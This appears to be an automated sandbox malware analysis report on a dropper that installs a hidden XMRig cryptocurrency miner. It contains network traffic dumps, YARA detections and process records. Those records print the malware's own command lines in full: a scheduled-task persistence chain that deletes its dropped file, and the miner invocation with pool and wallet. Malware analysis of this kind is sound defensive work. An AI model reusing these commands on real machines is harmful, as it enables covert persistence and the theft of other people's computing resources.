2023-05-10 00:21:18 UTC	7104	IN	Data Raw: 44 25 00 45 86 c0 f8 44 8b 06 48 81 c6 04 00 00 00 80 fb f7 45 33 c2 3a ca 40 84 d7 41 81 f0 ca 14 ad 6e 41 ff c8 f9 41 c1 c8 03 e9 44 4d ff ff 49 03 d8 e9 76 a9 ec ff 48 8b 45 08 41 0f b7 d1 48 8b 54 25 00 66 41 81 c1 b6 22 48 81 ed 08 00 00 00 41 fe c1 48 f7 e2 41 b1 98 66 45 8b cd 48 89 55 08 66 45 0f b6 cb 66 44 0f 40 cd 48 89 45 10 41 b1 9c 66 44 0f be cd 9c 8f 44 25 00 45 0f b3 e9 41 3a db 44 8b 0b f5 48 81 c3 04 00 00 00 45 33 cb f8 41 81 c1 2d 78 24 00 66 3d fd 28 f5 e9 26 8f ed ff 66 41 81 fa bc 7f 44 33 ce f5 f9 41 81 c1 b6 5f 23 76 41 f7 d1 f8 41 c1 c9 02 41 f7 d1 f8 56 66 44 0f ab ce 0f b7 f7 44 31 0c 24 f6 c2 ce 5e 4d 63 c9 41 f6 c4 73 f5 49 03 e9 e9 05 36 fe ff 66 44 0f b6 13 8a 4b 02 48 81 eb 06 00 00 00 49 c1 e0 f0 41 0f ab d0 44 02 d1 66 Data Ascii: D%EDHE3:@AnAADMIvHEAHT%fA"HAHAfEHUfEfD@HEAfDD%EA:DHE3A-x$f=(&fAD3A_#vAAAVfDD1$^McAsI6fDKHIADf
2023-05-10 00:21:18 UTC	7120	IN	Data Raw: 52 fc 01 00 a9 fc 01 00 6c 4a 44 00 b0 fc 01 00 f2 fe 01 00 7c 4a 44 00 60 ff 01 00 55 00 02 00 c4 4a 44 00 80 00 02 00 9e 00 02 00 1c 27 44 00 c0 00 02 00 e1 00 02 00 1c 27 44 00 10 01 02 00 6f 01 02 00 38 27 44 00 90 01 02 00 e4 01 02 00 b4 2f 44 00 f0 01 02 00 ce 03 02 00 d8 4a 44 00 d0 03 02 00 12 04 02 00 24 27 44 00 20 04 02 00 77 04 02 00 24 27 44 00 80 04 02 00 cd 04 02 00 24 27 44 00 e0 04 02 00 2e 05 02 00 1c 27 44 00 40 05 02 00 c0 05 02 00 1c 27 44 00 c0 05 02 00 96 06 02 00 1c 4b 44 00 a0 06 02 00 22 07 02 00 4c 4b 44 00 30 07 02 00 87 07 02 00 24 27 44 00 90 07 02 00 6d 08 02 00 58 4b 44 00 70 08 02 00 59 09 02 00 58 4b 44 00 60 09 02 00 3b 0a 02 00 6c 4b 44 00 40 0a 02 00 1b 0b 02 00 6c 4b 44 00 20 0b 02 00 f4 0b 02 00 6c 4b 44 00 00 0c 02 Data Ascii: RlJD\|JD`UJD'D'Do8'D/DJD$'D w$'D$'D.'D@'DKD"LKD0$'DmXKDpYXKD`;lKD@lKD lKD
2023-05-10 00:21:18 UTC	7136	IN	Data Raw: af 9d 09 00 e4 e6 44 00 af 9d 09 00 bf 9d 09 00 f8 e6 44 00 c0 9d 09 00 15 9e 09 00 b4 2f 44 00 20 9e 09 00 3f 9e 09 00 14 42 44 00 3f 9e 09 00 86 9e 09 00 08 e7 44 00 86 9e 09 00 96 9e 09 00 1c e7 44 00 a0 9e 09 00 44 9f 09 00 24 27 44 00 50 9f 09 00 ae a5 09 00 2c e7 44 00 b0 a5 09 00 70 ac 09 00 68 e7 44 00 70 ac 09 00 6c ad 09 00 cc d5 44 00 70 ad 09 00 bb b0 09 00 d0 e7 44 00 c0 b0 09 00 4f b1 09 00 6c e8 44 00 80 b1 09 00 a4 b1 09 00 5c 27 44 00 b0 b1 09 00 9b b8 09 00 90 e8 44 00 a0 b8 09 00 46 ba 09 00 10 e9 44 00 d0 ba 09 00 b9 bd 09 00 7c e9 44 00 c0 bd 09 00 f4 bd 09 00 24 27 44 00 00 be 09 00 51 bf 09 00 cc e9 44 00 a0 bf 09 00 e6 bf 09 00 0c 67 44 00 f0 bf 09 00 89 c1 09 00 00 ea 44 00 90 c1 09 00 7a c2 09 00 4c ea 44 00 80 c2 09 00 13 c3 09 Data Ascii: DD/D ?BD?DDD$'DP,DphDplDpDOlD\'DDFD\|D$'DQDgDDzLD
2023-05-10 00:21:18 UTC	7152	IN	Data Raw: 1c 7b 45 00 40 a8 18 00 64 a8 18 00 d4 78 45 00 64 a8 18 00 b9 a8 18 00 bc 7a 45 00 b9 a8 18 00 f0 a8 18 00 d0 7a 45 00 f0 a8 18 00 43 a9 18 00 98 77 45 00 50 a9 18 00 be a9 18 00 14 79 45 00 c0 a9 18 00 01 aa 18 00 14 79 45 00 10 aa 18 00 3c ab 18 00 b8 79 45 00 40 ab 18 00 b6 ab 18 00 48 78 45 00 c0 ab 18 00 04 ac 18 00 98 77 45 00 10 ac 18 00 6b ac 18 00 98 77 45 00 70 ac 18 00 a1 ac 18 00 5c 7a 45 00 a1 ac 18 00 b6 ac 18 00 68 7a 45 00 b6 ac 18 00 e0 ad 18 00 84 7a 45 00 e0 ad 18 00 d8 ae 18 00 9c 7a 45 00 d8 ae 18 00 df ae 18 00 ac 7a 45 00 e0 ae 18 00 e8 af 18 00 40 7b 45 00 f0 af 18 00 24 b0 18 00 14 79 45 00 30 b0 18 00 84 b0 18 00 14 7a 45 00 84 b0 18 00 7a b1 18 00 20 7a 45 00 7a b1 18 00 b8 b1 18 00 38 7a 45 00 b8 b1 18 00 c3 b1 18 00 4c 7a 45 Data Ascii: {E@dxEdzEzECwEPyEyE<yE@HxEwEkwEp\zEhzEzEzEzE@{E$yE0zEz zEz8zELzE
2023-05-10 00:21:18 UTC	7168	IN	Data Raw: f0 d2 1d 00 27 d3 1d 00 38 7b 45 00 30 d3 1d 00 90 d3 1d 00 cc 78 45 00 90 d3 1d 00 ad d3 1d 00 98 77 45 00 b0 d3 1d 00 18 d4 1d 00 48 78 45 00 20 d4 1d 00 43 d4 1d 00 98 77 45 00 50 d4 1d 00 6d d4 1d 00 98 77 45 00 90 d4 1d 00 a7 d4 1d 00 3c b6 45 00 a7 d4 1d 00 2e d5 1d 00 44 b6 45 00 2e d5 1d 00 2f d5 1d 00 64 b6 45 00 30 d5 1d 00 82 d5 1d 00 4c b5 45 00 82 d5 1d 00 5f d6 1d 00 5c b5 45 00 5f d6 1d 00 6a d6 1d 00 78 b5 45 00 6a d6 1d 00 72 d6 1d 00 88 b5 45 00 80 d6 1d 00 a0 d6 1d 00 88 b4 45 00 a0 d6 1d 00 38 d7 1d 00 90 b4 45 00 38 d7 1d 00 3e d7 1d 00 b0 b4 45 00 40 d7 1d 00 6b d7 1d 00 c0 b4 45 00 6b d7 1d 00 96 d7 1d 00 d4 b4 45 00 96 d7 1d 00 f0 d9 1d 00 f0 b4 45 00 f0 d9 1d 00 1b da 1d 00 0c b5 45 00 1b da 1d 00 73 da 1d 00 20 b5 45 00 73 da 1d Data Ascii: '8{E0xEwEHxE CwEPmwE<E.DE./dE0LE_\E_jxEjrEE8E8>E@kEkEEEs Es
2023-05-10 00:21:18 UTC	7184	IN	Data Raw: 12 7f 21 00 f4 ed 45 00 12 7f 21 00 42 7f 21 00 10 ee 45 00 50 7f 21 00 fd 7f 21 00 98 91 45 00 00 80 21 00 45 80 21 00 0c ed 45 00 45 80 21 00 c3 80 21 00 24 ed 45 00 c3 80 21 00 de 80 21 00 3c ed 45 00 de 80 21 00 52 81 21 00 4c ed 45 00 52 81 21 00 69 81 21 00 3c ed 45 00 70 81 21 00 89 81 21 00 98 77 45 00 90 81 21 00 b9 81 21 00 20 ee 45 00 b9 81 21 00 1b 82 21 00 2c ee 45 00 1b 82 21 00 40 82 21 00 48 ee 45 00 40 82 21 00 10 83 21 00 58 ee 45 00 10 83 21 00 86 84 21 00 c4 7b 45 00 90 84 21 00 c9 84 21 00 98 77 45 00 d0 84 21 00 63 85 21 00 74 ee 45 00 70 85 21 00 31 86 21 00 d4 94 45 00 40 86 21 00 6e 86 21 00 98 77 45 00 70 86 21 00 28 87 21 00 84 ee 45 00 30 87 21 00 f9 87 21 00 38 ab 45 00 00 88 21 00 47 88 21 00 98 77 45 00 50 88 21 00 71 88 21 Data Ascii: !E!B!EP!!E!E!EE!!$E!!<E!R!LER!i!<Ep!!wE!! E!!,E!@!HE@!!XE!!{E!!wE!c!tEp!1!E@!n!wEp!(!E0!!8E!G!wEP!q!
2023-05-10 00:21:18 UTC	7200	IN	Data Raw: d4 22 46 00 b4 be 25 00 2a bf 25 00 e0 22 46 00 2a bf 25 00 5f bf 25 00 f4 22 46 00 60 bf 25 00 ec bf 25 00 cc c3 45 00 f0 bf 25 00 d2 c1 25 00 04 23 46 00 e0 c1 25 00 c7 c2 25 00 18 23 46 00 d0 c2 25 00 6c c3 25 00 cc c3 45 00 70 c3 25 00 7f c7 25 00 50 23 46 00 80 c7 25 00 e4 c7 25 00 14 79 45 00 00 c8 25 00 aa c8 25 00 8c 77 45 00 b0 c8 25 00 02 c9 25 00 cc 78 45 00 20 c9 25 00 8f d0 25 00 8c 23 46 00 90 d0 25 00 de d0 25 00 cc 78 45 00 e0 d0 25 00 1c d1 25 00 00 7d 45 00 1c d1 25 00 33 d1 25 00 2c 23 46 00 33 d1 25 00 4d d1 25 00 40 23 46 00 50 d1 25 00 ab d2 25 00 54 7b 45 00 b0 d2 25 00 0a d3 25 00 14 79 45 00 10 d3 25 00 93 d5 25 00 74 23 46 00 a0 d5 25 00 ee d5 25 00 b0 23 46 00 ee d5 25 00 ce d6 25 00 bc 23 46 00 ce d6 25 00 62 d7 25 00 d8 23 46 Data Ascii: "F%%"F%_%"F`%%E%%#F%%#F%l%Ep%%P#F%%yE%%wE%%xE %%#F%%xE%%}E%3%,#F3%M%@#FP%%T{E%%yE%%t#F%%#F%%#F%b%#F
2023-05-10 00:21:18 UTC	7216	IN	Data Raw: 40 13 2c 00 5d 13 2c 00 20 69 46 00 5d 13 2c 00 ae 14 2c 00 2c 69 46 00 ae 14 2c 00 b9 14 2c 00 44 69 46 00 f0 14 2c 00 3b 15 2c 00 5c 27 44 00 40 15 2c 00 5b 15 2c 00 34 3b 44 00 5b 15 2c 00 a4 15 2c 00 fc 68 46 00 a4 15 2c 00 aa 15 2c 00 10 69 46 00 c0 15 2c 00 0e 16 2c 00 1c 27 44 00 70 16 2c 00 42 17 2c 00 c4 2f 44 00 50 17 2c 00 9b 17 2c 00 1c 27 44 00 b0 17 2c 00 22 19 2c 00 70 69 46 00 30 19 2c 00 d7 19 2c 00 24 27 44 00 f0 19 2c 00 fa 19 2c 00 5c 27 44 00 30 1a 2c 00 01 1b 2c 00 28 65 44 00 10 1b 2c 00 72 1b 2c 00 c4 2f 44 00 80 1b 2c 00 dd 1b 2c 00 18 5a 44 00 e0 1b 2c 00 36 1e 2c 00 54 69 46 00 40 1e 2c 00 1b 1f 2c 00 94 69 46 00 1b 1f 2c 00 5e 1f 2c 00 a8 69 46 00 5e 1f 2c 00 86 1f 2c 00 bc 69 46 00 90 1f 2c 00 d4 1f 2c 00 30 27 44 00 e0 1f 2c Data Ascii: @,], iF],,,iF,,DiF,;,\'D@,[,4;D[,,hF,,iF,,'Dp,B,/DP,,'D,",piF0,,$'D,,\'D0,,(eD,r,/D,,ZD,6,TiF@,,iF,^,iF^,,iF,,0'D,
2023-05-10 00:21:18 UTC	7232	IN	Data Raw: 53 6b 30 00 24 27 44 00 54 6b 30 00 6b 6c 30 00 78 a8 46 00 6c 6c 30 00 d8 6c 30 00 a0 63 44 00 d8 6c 30 00 47 6d 30 00 a0 63 44 00 48 6d 30 00 b3 6d 30 00 f0 52 44 00 b4 6d 30 00 82 6e 30 00 ac a8 46 00 84 6e 30 00 c7 6e 30 00 0c 67 44 00 c8 6e 30 00 84 6f 30 00 d8 65 44 00 84 6f 30 00 f5 6f 30 00 f0 52 44 00 f8 6f 30 00 d0 70 30 00 c4 a8 46 00 d0 70 30 00 1e 71 30 00 1c 27 44 00 20 71 30 00 63 71 30 00 0c 67 44 00 64 71 30 00 07 72 30 00 68 9c 46 00 08 72 30 00 97 72 30 00 28 a8 46 00 98 72 30 00 0a 73 30 00 24 27 44 00 0c 73 30 00 9e 73 30 00 08 32 44 00 a0 73 30 00 02 78 30 00 f4 a8 46 00 04 78 30 00 7e 7b 30 00 38 a9 46 00 80 7b 30 00 3c 7d 30 00 30 ac 44 00 3c 7d 30 00 1a 7f 30 00 dc a8 46 00 1c 7f 30 00 f0 80 30 00 b4 93 46 00 f0 80 30 00 4b 82 30 Data Ascii: Sk0$'DTk0kl0xFll0l0cDl0Gm0cDHm0m0RDm0n0Fn0n0gDn0o0eDo0o0RDo0p0Fp0q0'D q0cq0gDdq0r0hFr0r0(Fr0s0$'Ds0s02Ds0x0Fx0~{08F{0<}00D<}00F00F0K0
2023-05-10 00:21:18 UTC	7248	IN	Data Raw: 5c bb 77 00 80 8f 75 00 a5 8f 75 00 24 b4 77 00 b0 8f 75 00 c9 90 75 00 14 9e 77 00 d0 90 75 00 41 91 75 00 00 9e 77 00 50 91 75 00 cc 91 75 00 f0 9d 77 00 d0 91 75 00 39 92 75 00 fc a8 77 00 39 92 75 00 86 93 75 00 e4 a8 77 00 86 93 75 00 89 94 75 00 cc a8 77 00 89 94 75 00 8d 94 75 00 ac a8 77 00 90 94 75 00 29 9c 75 00 58 c3 77 00 30 9c 75 00 a0 9e 75 00 8c 96 77 00 a0 9e 75 00 ca 9e 75 00 1c c3 77 00 ca 9e 75 00 28 a7 75 00 f4 c2 77 00 28 a7 75 00 53 a8 75 00 cc c2 77 00 60 a8 75 00 f9 a8 75 00 18 c6 77 00 00 a9 75 00 fb a9 75 00 c0 c5 77 00 20 aa 75 00 ae aa 75 00 24 bb 77 00 d0 aa 75 00 10 ab 75 00 80 96 77 00 10 ab 75 00 98 ac 75 00 60 c5 77 00 a0 ac 75 00 cc ad 75 00 c8 ba 77 00 d0 ad 75 00 82 ae 75 00 78 96 77 00 90 ae 75 00 d0 ae 75 00 a8 90 77 Data Ascii: \wuu$wuuwuAuwPuuwu9uw9uuwuuwuuwu)uXw0uuwuuwu(uw(uSuw`uuwuuw uu$wuuwuu`wuuwuuxwuuw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49704	172.67.34.170	443	C:\Users\user\AppData\Local\Temp\user_707748.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-10 00:21:25 UTC	7259	OUT	GET /raw/G90cVvfJ HTTP/1.1 Accept: / Connection: close Host: pastebin.com User-Agent: cpp-httplib/0.7
2023-05-10 00:21:25 UTC	7259	IN	HTTP/1.1 404 Not Found Date: Wed, 10 May 2023 00:21:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 7c4e05a16ab62bd7-FRA
2023-05-10 00:21:25 UTC	7259	IN	Data Raw: 32 62 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 2b1<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2023-05-10 00:21:25 UTC	7260	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49705	185.199.108.133	443	C:\Users\user\AppData\Local\Temp\user_707748.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-10 00:21:26 UTC	7260	OUT	GET /FreemineCC/ring0/main/inc/consec HTTP/1.1 Accept: / Connection: close Host: raw.githubusercontent.com User-Agent: cpp-httplib/0.7
2023-05-10 00:21:26 UTC	7260	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: 6CCE:0B6A:13A7265:17074E2:645AE386 Accept-Ranges: bytes Date: Wed, 10 May 2023 00:21:26 GMT Via: 1.1 varnish X-Served-By: cache-gig2250065-GIG X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1683678087.627754,VS0,VE233 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * X-Fastly-Request-ID: 40d1837aaa1e2592e22cddca63f006c8756a67be Expires: Wed, 10 May 2023 00:26:26 GMT Source-Age: 0
2023-05-10 00:21:26 UTC	7261	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: FTrondtloadws.exePID: 6312, Parent PID: 3452

General

Target ID:	0
Start time:	02:21:06
Start date:	10/05/2023
Path:	C:\Users\user\Desktop\FTrondtloadws.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\FTrondtloadws.exe
Imagebase:	0xcc0000
File size:	524616 bytes
MD5 hash:	7FC09E90A6B01B4E45DFB74A398AB841
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: FTrondtloadw.exePID: 1216, Parent PID: 6312

General

Target ID:	1
Start time:	02:21:08
Start date:	10/05/2023
Path:	C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe"
Imagebase:	0xc20000
File size:	270336 bytes
MD5 hash:	F676ED0F75E61843B7C767569119C32D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5308, Parent PID: 1216

General

Target ID:	2
Start time:	02:21:10
Start date:	10/05/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5272, Parent PID: 5308

General

Target ID:	3
Start time:	02:21:10
Start date:	10/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: chcp.comPID: 5188, Parent PID: 5308

General

Target ID:	4
Start time:	02:21:10
Start date:	10/05/2023
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x1340000
File size:	12800 bytes
MD5 hash:	561054CF9C4B2897E80D7E7D9027FED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: PING.EXEPID: 5204, Parent PID: 5308

General

Target ID:	5
Start time:	02:21:11
Start date:	10/05/2023
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1
Imagebase:	0xcc0000
File size:	18944 bytes
MD5 hash:	70C24A306F768936563ABDADB9CA9108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6524, Parent PID: 5308

General

Target ID:	6
Start time:	02:21:14
Start date:	10/05/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f
Imagebase:	0x320000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: FTrondtloadw.exePID: 6520, Parent PID: 5308

General

Target ID:	7
Start time:	02:21:14
Start date:	10/05/2023
Path:	C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe"
Imagebase:	0x870000
File size:	270336 bytes
MD5 hash:	F676ED0F75E61843B7C767569119C32D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000007.00000003.352114997.000000000A8A8000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000003.352114997.000000000A8A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.519323790.0000000002CAA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.523860741.000000000ACC0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000007.00000003.352389386.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000007.00000003.352013560.000000000A89F000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000003.352013560.000000000A89F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000007.00000003.352465042.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000003.352465042.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.519323790.0000000003066000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000007.00000002.523501469.000000000A7F3000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.523501469.000000000A7F3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000007.00000002.523879518.000000000AF00000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.523879518.000000000AF00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.519323790.0000000002CAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.523501469.000000000A819000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000007.00000002.519323790.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: FTrondtloadw.exePID: 4468, Parent PID: 1080

General

Target ID:	8
Start time:	02:21:15
Start date:	10/05/2023
Path:	C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
Imagebase:	0x500000
File size:	270336 bytes
MD5 hash:	F676ED0F75E61843B7C767569119C32D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: user_707748.exePID: 2820, Parent PID: 6520

General

Target ID:	9
Start time:	02:21:18
Start date:	10/05/2023
Path:	C:\Users\user\AppData\Local\Temp\user_707748.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1
Imagebase:	0x7ff6f7f60000
File size:	7433216 bytes
MD5 hash:	14F04F5932BC851ACF217A147AFB018A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.289007725.0000020E6E8BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.289082149.0000020E6E8BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000002.518686097.0000020E6E842000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000000.273809072.00007FF6F9135000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000002.519048378.0000020E700A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000002.519003605.0000020E6E8BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.284452306.0000020E6E84B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000009.00000002.518469741.0000020E6E7F0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000002.518469741.0000020E6E7F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\user_707748.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
